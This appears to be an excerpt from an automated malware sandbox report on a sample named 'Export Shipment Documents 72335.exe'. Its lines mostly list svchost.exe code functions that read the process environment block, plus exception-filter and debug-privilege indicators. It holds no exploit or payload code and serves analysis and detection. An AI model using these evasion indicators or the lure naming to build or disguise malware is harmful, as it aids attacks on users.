          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038365D0 mov eax, dword ptr fs:[00000030h]2_2_038365D0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386A5D0 mov eax, dword ptr fs:[00000030h]2_2_0386A5D0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386A5D0 mov eax, dword ptr fs:[00000030h]2_2_0386A5D0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0385E5E7 mov eax, dword ptr fs:[00000030h]2_2_0385E5E7
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0385E5E7 mov eax, dword ptr fs:[00000030h]2_2_0385E5E7
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0385E5E7 mov eax, dword ptr fs:[00000030h]2_2_0385E5E7
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0385E5E7 mov eax, dword ptr fs:[00000030h]2_2_0385E5E7
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0385E5E7 mov eax, dword ptr fs:[00000030h]2_2_0385E5E7
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0385E5E7 mov eax, dword ptr fs:[00000030h]2_2_0385E5E7
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0385E5E7 mov eax, dword ptr fs:[00000030h]2_2_0385E5E7
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0385E5E7 mov eax, dword ptr fs:[00000030h]2_2_0385E5E7
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038325E0 mov eax, dword ptr fs:[00000030h]2_2_038325E0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386C5ED mov eax, dword ptr fs:[00000030h]2_2_0386C5ED
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386C5ED mov eax, dword ptr fs:[00000030h]2_2_0386C5ED
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038C6500 mov eax, dword ptr fs:[00000030h]2_2_038C6500
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03904500 mov eax, dword ptr fs:[00000030h]2_2_03904500
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03904500 mov eax, dword ptr fs:[00000030h]2_2_03904500
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03904500 mov eax, dword ptr fs:[00000030h]2_2_03904500
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03904500 mov eax, dword ptr fs:[00000030h]2_2_03904500
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03904500 mov eax, dword ptr fs:[00000030h]2_2_03904500
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03904500 mov eax, dword ptr fs:[00000030h]2_2_03904500
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03904500 mov eax, dword ptr fs:[00000030h]2_2_03904500
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03840535 mov eax, dword ptr fs:[00000030h]2_2_03840535
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03840535 mov eax, dword ptr fs:[00000030h]2_2_03840535
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03840535 mov eax, dword ptr fs:[00000030h]2_2_03840535
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03840535 mov eax, dword ptr fs:[00000030h]2_2_03840535
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03840535 mov eax, dword ptr fs:[00000030h]2_2_03840535
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03840535 mov eax, dword ptr fs:[00000030h]2_2_03840535
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0385E53E mov eax, dword ptr fs:[00000030h]2_2_0385E53E
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0385E53E mov eax, dword ptr fs:[00000030h]2_2_0385E53E
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0385E53E mov eax, dword ptr fs:[00000030h]2_2_0385E53E
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0385E53E mov eax, dword ptr fs:[00000030h]2_2_0385E53E
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0385E53E mov eax, dword ptr fs:[00000030h]2_2_0385E53E
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03838550 mov eax, dword ptr fs:[00000030h]2_2_03838550
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03838550 mov eax, dword ptr fs:[00000030h]2_2_03838550
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386656A mov eax, dword ptr fs:[00000030h]2_2_0386656A
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386656A mov eax, dword ptr fs:[00000030h]2_2_0386656A
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386656A mov eax, dword ptr fs:[00000030h]2_2_0386656A
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038EA49A mov eax, dword ptr fs:[00000030h]2_2_038EA49A
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038364AB mov eax, dword ptr fs:[00000030h]2_2_038364AB
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038644B0 mov ecx, dword ptr fs:[00000030h]2_2_038644B0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038BA4B0 mov eax, dword ptr fs:[00000030h]2_2_038BA4B0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038304E5 mov ecx, dword ptr fs:[00000030h]2_2_038304E5
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03868402 mov eax, dword ptr fs:[00000030h]2_2_03868402
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03868402 mov eax, dword ptr fs:[00000030h]2_2_03868402
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03868402 mov eax, dword ptr fs:[00000030h]2_2_03868402
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0382E420 mov eax, dword ptr fs:[00000030h]2_2_0382E420
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0382E420 mov eax, dword ptr fs:[00000030h]2_2_0382E420
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0382E420 mov eax, dword ptr fs:[00000030h]2_2_0382E420
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0382C427 mov eax, dword ptr fs:[00000030h]2_2_0382C427
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B6420 mov eax, dword ptr fs:[00000030h]2_2_038B6420
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B6420 mov eax, dword ptr fs:[00000030h]2_2_038B6420
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B6420 mov eax, dword ptr fs:[00000030h]2_2_038B6420
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B6420 mov eax, dword ptr fs:[00000030h]2_2_038B6420
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B6420 mov eax, dword ptr fs:[00000030h]2_2_038B6420
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B6420 mov eax, dword ptr fs:[00000030h]2_2_038B6420
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B6420 mov eax, dword ptr fs:[00000030h]2_2_038B6420
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386A430 mov eax, dword ptr fs:[00000030h]2_2_0386A430
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386E443 mov eax, dword ptr fs:[00000030h]2_2_0386E443
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386E443 mov eax, dword ptr fs:[00000030h]2_2_0386E443
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386E443 mov eax, dword ptr fs:[00000030h]2_2_0386E443
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386E443 mov eax, dword ptr fs:[00000030h]2_2_0386E443
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386E443 mov eax, dword ptr fs:[00000030h]2_2_0386E443
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386E443 mov eax, dword ptr fs:[00000030h]2_2_0386E443
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386E443 mov eax, dword ptr fs:[00000030h]2_2_0386E443
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386E443 mov eax, dword ptr fs:[00000030h]2_2_0386E443
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038EA456 mov eax, dword ptr fs:[00000030h]2_2_038EA456
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0382645D mov eax, dword ptr fs:[00000030h]2_2_0382645D
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0385245A mov eax, dword ptr fs:[00000030h]2_2_0385245A
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038BC460 mov ecx, dword ptr fs:[00000030h]2_2_038BC460
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0385A470 mov eax, dword ptr fs:[00000030h]2_2_0385A470
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0385A470 mov eax, dword ptr fs:[00000030h]2_2_0385A470
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0385A470 mov eax, dword ptr fs:[00000030h]2_2_0385A470
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03840BBE mov eax, dword ptr fs:[00000030h]2_2_03840BBE
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03840BBE mov eax, dword ptr fs:[00000030h]2_2_03840BBE
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038E4BB0 mov eax, dword ptr fs:[00000030h]2_2_038E4BB0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038E4BB0 mov eax, dword ptr fs:[00000030h]2_2_038E4BB0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03850BCB mov eax, dword ptr fs:[00000030h]2_2_03850BCB
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03850BCB mov eax, dword ptr fs:[00000030h]2_2_03850BCB
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03850BCB mov eax, dword ptr fs:[00000030h]2_2_03850BCB
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03830BCD mov eax, dword ptr fs:[00000030h]2_2_03830BCD
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03830BCD mov eax, dword ptr fs:[00000030h]2_2_03830BCD
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03830BCD mov eax, dword ptr fs:[00000030h]2_2_03830BCD
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038DEBD0 mov eax, dword ptr fs:[00000030h]2_2_038DEBD0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03838BF0 mov eax, dword ptr fs:[00000030h]2_2_03838BF0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03838BF0 mov eax, dword ptr fs:[00000030h]2_2_03838BF0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03838BF0 mov eax, dword ptr fs:[00000030h]2_2_03838BF0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0385EBFC mov eax, dword ptr fs:[00000030h]2_2_0385EBFC
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038BCBF0 mov eax, dword ptr fs:[00000030h]2_2_038BCBF0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03904B00 mov eax, dword ptr fs:[00000030h]2_2_03904B00
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038AEB1D mov eax, dword ptr fs:[00000030h]2_2_038AEB1D
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038AEB1D mov eax, dword ptr fs:[00000030h]2_2_038AEB1D
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038AEB1D mov eax, dword ptr fs:[00000030h]2_2_038AEB1D
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038AEB1D mov eax, dword ptr fs:[00000030h]2_2_038AEB1D
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038AEB1D mov eax, dword ptr fs:[00000030h]2_2_038AEB1D
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038AEB1D mov eax, dword ptr fs:[00000030h]2_2_038AEB1D
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038AEB1D mov eax, dword ptr fs:[00000030h]2_2_038AEB1D
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038AEB1D mov eax, dword ptr fs:[00000030h]2_2_038AEB1D
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038AEB1D mov eax, dword ptr fs:[00000030h]2_2_038AEB1D
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0385EB20 mov eax, dword ptr fs:[00000030h]2_2_0385EB20
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0385EB20 mov eax, dword ptr fs:[00000030h]2_2_0385EB20
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038F8B28 mov eax, dword ptr fs:[00000030h]2_2_038F8B28
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038F8B28 mov eax, dword ptr fs:[00000030h]2_2_038F8B28
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038E4B4B mov eax, dword ptr fs:[00000030h]2_2_038E4B4B
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038E4B4B mov eax, dword ptr fs:[00000030h]2_2_038E4B4B
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03902B57 mov eax, dword ptr fs:[00000030h]2_2_03902B57
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03902B57 mov eax, dword ptr fs:[00000030h]2_2_03902B57
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03902B57 mov eax, dword ptr fs:[00000030h]2_2_03902B57
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03902B57 mov eax, dword ptr fs:[00000030h]2_2_03902B57
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038C6B40 mov eax, dword ptr fs:[00000030h]2_2_038C6B40
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038C6B40 mov eax, dword ptr fs:[00000030h]2_2_038C6B40
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038FAB40 mov eax, dword ptr fs:[00000030h]2_2_038FAB40
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038D8B42 mov eax, dword ptr fs:[00000030h]2_2_038D8B42
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03828B50 mov eax, dword ptr fs:[00000030h]2_2_03828B50
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038DEB50 mov eax, dword ptr fs:[00000030h]2_2_038DEB50
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0382CB7E mov eax, dword ptr fs:[00000030h]2_2_0382CB7E
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0383EA80 mov eax, dword ptr fs:[00000030h]2_2_0383EA80
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0383EA80 mov eax, dword ptr fs:[00000030h]2_2_0383EA80
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0383EA80 mov eax, dword ptr fs:[00000030h]2_2_0383EA80
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0383EA80 mov eax, dword ptr fs:[00000030h]2_2_0383EA80
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0383EA80 mov eax, dword ptr fs:[00000030h]2_2_0383EA80
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0383EA80 mov eax, dword ptr fs:[00000030h]2_2_0383EA80
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0383EA80 mov eax, dword ptr fs:[00000030h]2_2_0383EA80
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0383EA80 mov eax, dword ptr fs:[00000030h]2_2_0383EA80
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0383EA80 mov eax, dword ptr fs:[00000030h]2_2_0383EA80
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03904A80 mov eax, dword ptr fs:[00000030h]2_2_03904A80
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03868A90 mov edx, dword ptr fs:[00000030h]2_2_03868A90
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03838AA0 mov eax, dword ptr fs:[00000030h]2_2_03838AA0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03838AA0 mov eax, dword ptr fs:[00000030h]2_2_03838AA0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03886AA4 mov eax, dword ptr fs:[00000030h]2_2_03886AA4
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03886ACC mov eax, dword ptr fs:[00000030h]2_2_03886ACC
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03886ACC mov eax, dword ptr fs:[00000030h]2_2_03886ACC
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03886ACC mov eax, dword ptr fs:[00000030h]2_2_03886ACC
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03830AD0 mov eax, dword ptr fs:[00000030h]2_2_03830AD0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03864AD0 mov eax, dword ptr fs:[00000030h]2_2_03864AD0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03864AD0 mov eax, dword ptr fs:[00000030h]2_2_03864AD0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386AAEE mov eax, dword ptr fs:[00000030h]2_2_0386AAEE
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386AAEE mov eax, dword ptr fs:[00000030h]2_2_0386AAEE
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038BCA11 mov eax, dword ptr fs:[00000030h]2_2_038BCA11
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386CA24 mov eax, dword ptr fs:[00000030h]2_2_0386CA24
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0385EA2E mov eax, dword ptr fs:[00000030h]2_2_0385EA2E
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03854A35 mov eax, dword ptr fs:[00000030h]2_2_03854A35
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03854A35 mov eax, dword ptr fs:[00000030h]2_2_03854A35
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386CA38 mov eax, dword ptr fs:[00000030h]2_2_0386CA38
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03836A50 mov eax, dword ptr fs:[00000030h]2_2_03836A50
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03836A50 mov eax, dword ptr fs:[00000030h]2_2_03836A50
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03836A50 mov eax, dword ptr fs:[00000030h]2_2_03836A50
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03836A50 mov eax, dword ptr fs:[00000030h]2_2_03836A50
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03836A50 mov eax, dword ptr fs:[00000030h]2_2_03836A50
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03836A50 mov eax, dword ptr fs:[00000030h]2_2_03836A50
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03836A50 mov eax, dword ptr fs:[00000030h]2_2_03836A50
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03840A5B mov eax, dword ptr fs:[00000030h]2_2_03840A5B
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03840A5B mov eax, dword ptr fs:[00000030h]2_2_03840A5B
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386CA6F mov eax, dword ptr fs:[00000030h]2_2_0386CA6F
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386CA6F mov eax, dword ptr fs:[00000030h]2_2_0386CA6F
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386CA6F mov eax, dword ptr fs:[00000030h]2_2_0386CA6F
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038DEA60 mov eax, dword ptr fs:[00000030h]2_2_038DEA60
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038ACA72 mov eax, dword ptr fs:[00000030h]2_2_038ACA72
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038ACA72 mov eax, dword ptr fs:[00000030h]2_2_038ACA72
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038429A0 mov eax, dword ptr fs:[00000030h]2_2_038429A0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038429A0 mov eax, dword ptr fs:[00000030h]2_2_038429A0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038429A0 mov eax, dword ptr fs:[00000030h]2_2_038429A0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038429A0 mov eax, dword ptr fs:[00000030h]2_2_038429A0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038429A0 mov eax, dword ptr fs:[00000030h]2_2_038429A0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038429A0 mov eax, dword ptr fs:[00000030h]2_2_038429A0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038429A0 mov eax, dword ptr fs:[00000030h]2_2_038429A0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038429A0 mov eax, dword ptr fs:[00000030h]2_2_038429A0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038429A0 mov eax, dword ptr fs:[00000030h]2_2_038429A0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038429A0 mov eax, dword ptr fs:[00000030h]2_2_038429A0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038429A0 mov eax, dword ptr fs:[00000030h]2_2_038429A0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038429A0 mov eax, dword ptr fs:[00000030h]2_2_038429A0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038429A0 mov eax, dword ptr fs:[00000030h]2_2_038429A0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038309AD mov eax, dword ptr fs:[00000030h]2_2_038309AD
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038309AD mov eax, dword ptr fs:[00000030h]2_2_038309AD
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B89B3 mov esi, dword ptr fs:[00000030h]2_2_038B89B3
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B89B3 mov eax, dword ptr fs:[00000030h]2_2_038B89B3
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B89B3 mov eax, dword ptr fs:[00000030h]2_2_038B89B3
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038C69C0 mov eax, dword ptr fs:[00000030h]2_2_038C69C0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0383A9D0 mov eax, dword ptr fs:[00000030h]2_2_0383A9D0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0383A9D0 mov eax, dword ptr fs:[00000030h]2_2_0383A9D0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0383A9D0 mov eax, dword ptr fs:[00000030h]2_2_0383A9D0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0383A9D0 mov eax, dword ptr fs:[00000030h]2_2_0383A9D0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0383A9D0 mov eax, dword ptr fs:[00000030h]2_2_0383A9D0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0383A9D0 mov eax, dword ptr fs:[00000030h]2_2_0383A9D0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038649D0 mov eax, dword ptr fs:[00000030h]2_2_038649D0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038FA9D3 mov eax, dword ptr fs:[00000030h]2_2_038FA9D3
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038BE9E0 mov eax, dword ptr fs:[00000030h]2_2_038BE9E0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038629F9 mov eax, dword ptr fs:[00000030h]2_2_038629F9
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038629F9 mov eax, dword ptr fs:[00000030h]2_2_038629F9
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038AE908 mov eax, dword ptr fs:[00000030h]2_2_038AE908
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038AE908 mov eax, dword ptr fs:[00000030h]2_2_038AE908
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038BC912 mov eax, dword ptr fs:[00000030h]2_2_038BC912
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03828918 mov eax, dword ptr fs:[00000030h]2_2_03828918
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03828918 mov eax, dword ptr fs:[00000030h]2_2_03828918
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B892A mov eax, dword ptr fs:[00000030h]2_2_038B892A
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038C892B mov eax, dword ptr fs:[00000030h]2_2_038C892B
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B0946 mov eax, dword ptr fs:[00000030h]2_2_038B0946
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03904940 mov eax, dword ptr fs:[00000030h]2_2_03904940
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03856962 mov eax, dword ptr fs:[00000030h]2_2_03856962
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03856962 mov eax, dword ptr fs:[00000030h]2_2_03856962
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03856962 mov eax, dword ptr fs:[00000030h]2_2_03856962
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0387096E mov eax, dword ptr fs:[00000030h]2_2_0387096E
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0387096E mov edx, dword ptr fs:[00000030h]2_2_0387096E
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0387096E mov eax, dword ptr fs:[00000030h]2_2_0387096E
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038D4978 mov eax, dword ptr fs:[00000030h]2_2_038D4978
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038D4978 mov eax, dword ptr fs:[00000030h]2_2_038D4978
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038BC97C mov eax, dword ptr fs:[00000030h]2_2_038BC97C
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03830887 mov eax, dword ptr fs:[00000030h]2_2_03830887
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038BC89D mov eax, dword ptr fs:[00000030h]2_2_038BC89D
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0385E8C0 mov eax, dword ptr fs:[00000030h]2_2_0385E8C0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_039008C0 mov eax, dword ptr fs:[00000030h]2_2_039008C0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038FA8E4 mov eax, dword ptr fs:[00000030h]2_2_038FA8E4
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386C8F9 mov eax, dword ptr fs:[00000030h]2_2_0386C8F9
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386C8F9 mov eax, dword ptr fs:[00000030h]2_2_0386C8F9
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038BC810 mov eax, dword ptr fs:[00000030h]2_2_038BC810
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03852835 mov eax, dword ptr fs:[00000030h]2_2_03852835
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03852835 mov eax, dword ptr fs:[00000030h]2_2_03852835
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03852835 mov eax, dword ptr fs:[00000030h]2_2_03852835
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_00426DA1 CreateFileW,__lseeki64_nolock,__lseeki64_nolock,GetProcessHeap,HeapAlloc,__setmode_nolock,__write_nolock,__setmode_nolock,GetProcessHeap,HeapFree,__lseeki64_nolock,SetEndOfFile,GetLastError,__lseeki64_nolock,0_2_00426DA1
          Source: C:\Windows\SysWOW64\svchost.exeProcess token adjusted: DebugJump to behavior
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_0042202E SetUnhandledExceptionFilter,0_2_0042202E
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_004230F5 __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_004230F5
